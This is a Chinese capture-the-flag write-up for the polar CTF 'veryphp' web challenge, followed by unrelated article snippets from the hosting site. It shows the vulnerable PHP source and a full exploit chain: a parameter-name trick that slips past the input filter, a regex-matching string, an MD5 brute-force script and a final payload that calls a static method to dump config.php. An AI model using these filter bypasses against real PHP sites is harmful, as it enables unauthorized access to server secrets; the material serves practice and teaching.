polar CTF WEB-veryphp

1、题目

<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
    function __wakeup(){
        die("Access Denied!");
    }
    static function oao(){
        show_source("config.php");
    }
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
if(isset($shaw_root)){
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
        echo $hint;
    }else{
        echo "Almost there."."<br>";
    }
}else{
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if($ans===$SecretNumber){
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}
Input correct parameters

2、分析主要的是绕过下面两个正则
注意:用Burp Suite 抓包传payload,hackerbar等会将URL编码

$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}

if(isset($shaw_root)){
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
        echo $hint;
    }else{
        echo "Almost there."."<br>";
    }

可通过在线网址调试
https://c.runoob.com/front-end/854/
①的绕过方式有两种
payload

shaw[root=123或者shaw root=123

在这里插入图片描述
在这里插入图片描述

②的绕过方式

还有拦截

if($ans===$SecretNumber){
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}

payload

shaw root=-a?<b>rrrrr>>>>RabcRphphp@Rrr&ans=21475

在这里插入图片描述

爆破脚本

import hashlib
import re
a = 'shaw'
b = 'root'
for i in range(10000,99999):
 string = a+str(i)+b
 md5 = hashlib.md5(string.encode('utf-8')).hexdigest()
 if(re.findall("166b47a5cb1ca2431a0edfcef200684f替换为上面的给出的加密值",md5)):
 print(i)

在这里插入图片描述
最终payload

shaw root=-a?<b>rrrrr>>>>RabcRphphp@Rrr&ans=21475&my[ans=qwq::oao

在这里插入图片描述
其中正则分析

接下来要满足条件判断里的正则表达式和字符串的长度,逐个分析该正则表达式:

^:声明字符串开头的位置。
-:匹配字符-,反斜杠是转义符。
[a-e]:匹配单个字符,范围是小写字母a到小写字母e。
[^a-zA-Z0-8]:匹配单个字符,范围是除了a-z、A-Z和0-8以外的任意字符。
:匹配一个。
(.*):匹配任意字符(行结束符除外)零到无数次。
>{4}:精确匹配“>”四次。
\D*?:匹配不是数字的任何字符(等同于[^ 0-9])零到无数次。
(abc.*?):匹配字符串abc和任意一个字符(行结束符除外)。
p(hp)*:匹配字符p和字符串hp零到多次。
\@:匹配字符@,反斜杠是转义符。
R:精确匹配字符R。
(s|r):精确匹配字符s或r。
.:匹配除了换行以外的所有字符
除了满足上述条件外,传入的字符串的长度必须等于29,可以在某些“匹配零到无数次”的地方增减长度达到目的。例如,以POST方式传入 shaw[root=-a?rrrrr>>>>RabcRphphp@Rrr 就可以满足条件,输出 $hint 的值:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/285708.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Web前端开发神器WebStorm v2023.3全新发布——支持新的AI辅助工具

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具&#xff0c;被广大中国JS开发者誉为"Web前端开发神器""最强大的HTML5编辑器""最智能的JavaSscript IDE"等。与IntelliJ IDEA同源&#xff0c;继承了IntelliJ IDEA强大的JS部分的功能。 We…

python小工具开发专题:gpu监控工具

需求来源 在压测显卡时能看到gpu的波动情况&#xff0c;并输出波动的范围、gpu卡的index、显存占用、显存总量。 直接在linux 无gui的命令行展示上述信息 实现思路 使用nvitop的gpu信息接口获取信息 借助python的三方库asciichart画图 代码 import asciichartpy as acp im…

Redis缓存雪崩:预防、应对和解决方案【redis问题 二】

欢迎来到我的博客&#xff0c;代码的世界里&#xff0c;每一行都是一个故事 Redis缓存雪崩&#xff1a;预防、应对和解决方案 前言缓存雪崩定义和原因定义&#xff1a;缓存雪崩的恐怖故事触发因素&#xff1a;缓存雪崩的元凶 缓存雪崩的影响系统表现&#xff1a;当缓存雪崩降临…

Kubernetes(k8s):Namespace详解

Kubernetes&#xff08;k8s&#xff09;&#xff1a;Namespace详解 一、Namespace简介1.1 什么是Namespace1.2 Namespace的作用1.3 命名空间的分类 二、创建和管理Namespace2.1 创建Namespace2.2 管理Namespace 三、Namespace的实战应用3.1 部署多个项目3.2 环境隔离3.3 资源配…

vulnhub Loly: 1

靶机地址: https://www.vulnhub.com/entry/loly-1,538/ Kali IP&#xff1a;172.16.12.129 1.主机发现 Nmap -sP 172.16.12.0/24 2.端口扫描 nmap -P 172.16.12.130 3.访问 4.目录扫描 dirb http://172.16.12.130/ 扫描到/wordpress 5.爆破wordpress用户名和密码 wpscan…

【Bootstrap学习 day6】

Bootstrap5图像 圆角图片 通过.rounded类实现 <img src"avatar.png" alt"头像" style"width:200px" class"rounded">圆形 通过.rounded-circle类实现 <img src"avatar.png" alt"头像" style"wid…

Matlab技巧[绘画逻辑分析仪产生的数据]

绘画逻辑分析仪产生的数据 逻分上抓到了ADC数字信号,一共是10Bit,12MHZ的波形: 这里用并口协议已经解析出数据: 导出csv表格数据(这个数据为补码,所以要做数据转换): 现在要把这个数据绘制成波形,用Python和表格直接绘制速度太慢了,转了一圈发现MATLAB很好用,操作方法如下:…

【Bootstrap学习 day7】

Bootstrap按钮 按钮样式 使用.btn相关类实现 <button type"button" class"btn">基本按钮</button> <button type"button" class"btn btn-primary">主要按钮</button> <button type"button" cl…

2024年天津中德应用技术大学专升本专业考试准考证下载及考场安排

天津中德应用技术大学2024高职升本科专业考试准考证下载及考生通知 2023年1月2日&#xff0c;天津中德应用技术大学招生网公布了2024年高职升本科专业课考试 准考证下载及考生须知通知公布了2024年中德专升本专业课的准考证下载时间、方式以及注意事项也代表着2024年专业课考…

Java静态代理和动态代理(JDK)的简单实现

1. 静态代理 静态代理模拟角色分析&#xff1a; 抽象角色 : 一般使用接口或者抽象类来实现真实角色 : 被代理的角色代理角色 : 代理真实角色 ; 代理真实角色后 , 一般会做一些附属的操作客户: 使用代理角色来进行一些操作 代码模拟&#xff1a; Rent.java——>抽象角色 …

Wireshark 提示和技巧 | Time 时间分析那些事

前言 众所周知&#xff0c;Wireshark 中有很多关于 Time 的字段&#xff0c;譬如 Frame 中的 frame.time、frame.time_delta、frame.time_delta_displayed &#xff0c;TCP 中的 tcp.time_delta、tcp.time_relative &#xff0c;HTTP 中的 http.time&#xff0c;DNS 中的 dns.…

【Linux操作系统】探秘Linux奥秘:Linux开发工具的解密与实战

&#x1f308;个人主页&#xff1a;Sarapines Programmer&#x1f525; 系列专栏&#xff1a;《操作系统实验室》&#x1f516;诗赋清音&#xff1a;柳垂轻絮拂人衣&#xff0c;心随风舞梦飞。 山川湖海皆可涉&#xff0c;勇者征途逐星辉。 目录 &#x1fa90;1 初识Linux OS &…

东信免驱系列身份证阅读器串口通讯协议解析示例,适用于单片机、ARM等系统开发集成使用

完整的一次读卡流程包括&#xff1a; 身份证寻卡 > 身份证选卡 > 身份证读卡&#xff0c;三个步骤 缺一不可&#xff08;见通讯协议&#xff09;。 寻卡&#xff1a;EA EB EC ED 04 00 B0 B4 BB 返回&#xff1a;EA EB EC ED 05 00 00 B0 B5 BB 选卡&#xff1a;EA …

抖音引流跳转到微信加好友?免费教你创建一个链接!

在抖音想要跳转到微信&#xff0c;现在常规的做法就是通过微信小程序的Url Scheme跳转到微信并打开小程序指定的页面&#xff0c;这个已经有非常成熟的方案。 为了降低大家的门槛&#xff0c;可以使用开源的【引流宝】快速创建一个链接&#xff0c;这个链接生成的二维码&#…

fmincon函数的决策变量可以是二维矩阵,但不建议是高维矩阵

1&#xff09;二维矩阵代码 clear all clc% 定义目标函数 fun (x) sum(sum(x.^2));% 初始矩阵 x0 2 rand(2, 2);% 定义空的线性不等式约束 A []; b [];% 定义空的线性等式约束 Aeq []; beq [];% 定义变量的上下界 lb ones(2,2); ub [];% 使用 fmincon 求解 options …

yolov5旋转目标检测-遥感图像检测-无人机旋转目标检测-附代码和原理

综述 为了解决旋转目标检测问题&#xff0c;研究者们提出了多种方法和算法。以下是一些常见的旋转目标检测方法&#xff1a; 基于滑动窗口的方法&#xff1a;在图像上以不同的尺度和角度滑动窗口&#xff0c;通过分类器判断窗口中是否存在目标。这种方法简单直观&#xff0c;…

谷达冠楠:抖音小店到底要多久可以做起来

随着移动互联网的发展&#xff0c;短视频平台已经成为了人们日常生活中不可或缺的一部分。抖音作为国内最具影响力的短视频平台之一&#xff0c;吸引了大量的用户和商家。近年来&#xff0c;抖音小店逐渐成为了一种新型的电商模式&#xff0c;让许多创业者和商家看到了新的商机…

【华为机试】2023年真题B卷(python)-计算疫情扩散时间

一、题目 题目描述&#xff1a; 请根据给定的地图计算&#xff0c;多少天以后&#xff0c;全部区域都会被感染。 如果初始地图上所有区域全部都被感染&#xff0c;或者没有被感染区域&#xff0c;返回-1 二、输入输出 输入描述: 一行N*N个数字&#xff08;只包含0,1&#xff0c…

一文看懂Prometheus告警原理及过程

目录 1. 自定义告警规则 2. 告警规则编写 3. prometheus配置 4. 告警过程 5. 告警解除 5.1 对startsAt和endsAt的处理 5.2 Prometheus告警解除后持续多久重复推送告警解除通知&#xff1f;&#xff1f; 1. 自定义告警规则 基于规则告警是指利用已经采集的监控数据&…

【小沐学NLP】Python实现K-Means聚类算法(nltk、sklearn)

文章目录 1、简介1.1 机器学习1.2 K 均值聚类1.2.1 聚类定义1.2.2 K-Means定义1.2.3 K-Means优缺点1.2.4 K-Means算法步骤 2、测试2.1 K-Means&#xff08;Python&#xff09;2.2 K-Means&#xff08;Sklearn&#xff09;2.2.1 例子1&#xff1a;数组分类2.2.2 例子2&#xff1…